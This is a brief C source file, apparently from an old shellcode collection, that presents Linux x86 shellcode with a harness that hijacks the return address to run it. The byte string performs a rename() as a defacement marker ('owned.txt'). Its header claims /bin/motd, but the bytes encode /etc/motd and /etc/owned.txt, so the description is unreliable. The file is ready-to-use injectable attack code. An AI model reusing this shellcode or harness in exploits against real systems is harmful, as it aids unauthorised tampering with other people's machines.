Linux x86 shellcode that does a rename() of /bin/motd to /bin/owned.txt Author: zillion Email: zillion@safemode.org Homepage: http://www.safemode.org filename: linux-rename.c /* * Shellcode that does a rename() of /bin/motd to /bin/owned.txt * * Written by zillion@safemode.org * */ char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x88\x46\x18\xb0\x26\x8d\x1e" "\x8d\x4e\x0a\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe3\xff\xff" "\xff\x2f\x65\x74\x63\x2f\x6d\x6f\x74\x64\x23\x2f\x65\x74\x63" "\x2f\x6f\x77\x6e\x65\x64\x2e\x74\x78\x74\x23"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } --